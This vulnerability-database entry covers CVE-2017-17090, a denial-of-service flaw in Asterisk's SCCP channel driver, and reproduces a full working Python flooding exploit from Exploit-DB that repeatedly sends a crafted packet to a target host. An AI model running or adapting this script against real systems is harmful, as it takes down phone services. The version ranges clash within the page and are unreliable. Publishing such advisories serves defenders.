CVE-2017-17090

high
Published 2017-12-02 ยท Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

An issue was discovered in chan_skinny.c in Asterisk Open Source 13.18.2 and older, 14.7.2 and older, and 15.1.2 and older, and Certified Asterisk 13.13-cert7 and older. If the chan_skinny (aka SCCP protocol) channel driver is flooded with certain requests, it can cause the asterisk process to use excessive amounts of virtual memory, eventually causing asterisk to stop processing requests of any kind.

Predictions

Exploit likelihood
83%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43992 dos multiple verified python ยท 4 KB
Juan Sacco ยท 2018-02-07

Asterisk 13.17.2 - 'chan_skinny' Remote Memory Corruption

python exploit Source: Exploit-DB
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
# Vulnerability found using Exploit Pack v10 - Fuzzer module
# CVE-2017-17090 -  AST-2017-013
#
# Tested on: Asterisk 13.17.2~dfsg-2
#
# Description: Asterisk is prone to a remote unauthenticated memory exhaustion
# The vulnerability is due to an error when the vulnerable application
# handles crafted SCCP packet. A remote attacker may be able to exploit
# this to cause a denial of service condition on the affected system.
#
# [Nov 29 15:38:06] ERROR[7763] tcptls.c: TCP/TLS unable to launch
# helper thread: Cannot allocate memory
#
# Program: Asterisk is an Open Source PBX and telephony toolkit.  It is, in a
# sense, middleware between Internet and telephony channels on the bottom,
# and Internet and telephony applications at the top.
#
# Homepage: http://www.asterisk.org/
# Filename: pool/main/a/asterisk/asterisk_13.17.2~dfsg-2_i386.deb
#
# Example usage: python asteriskSCCP.py 192.168.1.1 2000

import binascii
import sys
import socket
import time

def asteriskSCCP(target,port):
    try:
        while 1:
            # Open socket
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            # Set reuse ON
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            # Bind port
            s.connect((target, port))
            print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port
            print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ")
            packet =
binascii.unhexlify(b'450002c50001000040067a307f0000017f000001001407d00000000000000000500220009a2b0000e4eea8a72a97467d3631824ac1c08c604e762eb80af46cc6d219a4cf65c13992b4a8af94cb5e87c14faf0254cba25af9fb33bd8d2a58e370e3a866639dfdec350875cfecfe068a16746963fffeee0fdcbac75eb4f09d625f3ae1b4a3eb2812e6f838e88b0d7d9881465a0faf45664df8008d4d6de1a5e20a9c97a71f57d3429e0b17db3aeb3bf516ca4e207a5c801d04132979508f267c7425a57fd0edd271b57ff9831b595b519e73404f170492ae3ad438d4aeca854e96c9dd56d2af3813b8de6b3d8d31d32c0e95be9cb3a5c6106f64c4f19cda2b55ad1471f3d63e1b1ca3c29f362def063ad9b29ea4d1c1fda5c2e4cf0ae75064c27411a2deb5fab11e6412cd5a4037f38779f0173fa1f2ca1740aa78fe37bc0a50f5619c7abba00f2957bf06770ff4d6c003d4533de19f51bcbbd9bbe0ceb3e17dd180e58ee2698998edca42e3d6a8079cc151b608e5bd5aff052e718e714b360f9b091894a5eeed34dafe41d27f19988b3e0ac5a6dd8947c3537ae31154e983cdbac0861afc500206e74030c9e452738ece13075df2dbebb8a1737ee3b4880bc6d428ee2d3d64f585e197dc63f30638a4c55cff0b8e6aa82dfdf199baabd92c10092414015fad5f08e9c816a4d028574ee5340c08b2fe65ca1e7ca907ea2ebd6661e01e9b9d39d5bdb3e3cebd58e96f97f487bb580bcf5447ac48a2ad5541ae0ddcc9ec1f9528f2c07316dbd760e91e3bddbd53fbf6987fdba0830bdb485524950b5611e18e5d517c0f3ae05aa2daec42a5c43eab07aa0018ab750dc6995adad6561cc8a0379f7a12d8e5e474df013459442801d6871c5820318d790833687619b70b0da74893ca441f177ab9e7d7a537c6ff4920c79631905c35167d8a6efc0c6bced9270691abc5b4de84f956f8c1d34f9ef3f0073dafce8c076c4d537e981a1e8ff6ed3e8c')

            # Log the packet in hexa and timestamp
            fileLog = target + ".log"
            logPacket = open(fileLog, "w+")
            logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Packet sent: " + binascii.hexlify(bytes(packet))+"\n")
            logPacket.close()

            # Write bytecodes to socket
            print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Packet sent: ")
            s.send(bytes(packet))
            # Packet sent:
            print(bytes(packet))
            try:
                data = s.recv(4096)
                print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data))
            except socket.error, e:
                print 'Sorry, No data available'
                continue
        s.close()
    except socket.error as error:
        print error
        print "Sorry, something went wrong!"

def howtouse():
    print "Usage: AsteriskSCCP.py Hostname Port"
    print "[*] Mandatory arguments:"
    print "[-] Specify a hostname / port"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        # Set target
        target = sys.argv[1]
        port = int(sys.argv[2])

        print "[*] Asterisk 13.17 Exploit by Juan Sacco <jsacco@exploitpack.com "
        asteriskSCCP(target, port)
    except IndexError:
        howtouse()

OS impact

debian Debian Fixed 2 releases
VersionStatusFixed in
sid Fixed 1:13.18.3~dfsg-1
bullseye Fixed 1:13.18.3~dfsg-1

Application impact

VendorProductVersionsFixed
digiumcertified_asterisk{"endIncluding":"13.13"}
digiumcertified_asterisk13.13
digiumasterisk{"endIncluding":"13.8.2"}

References

CWEs

CWE-459

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.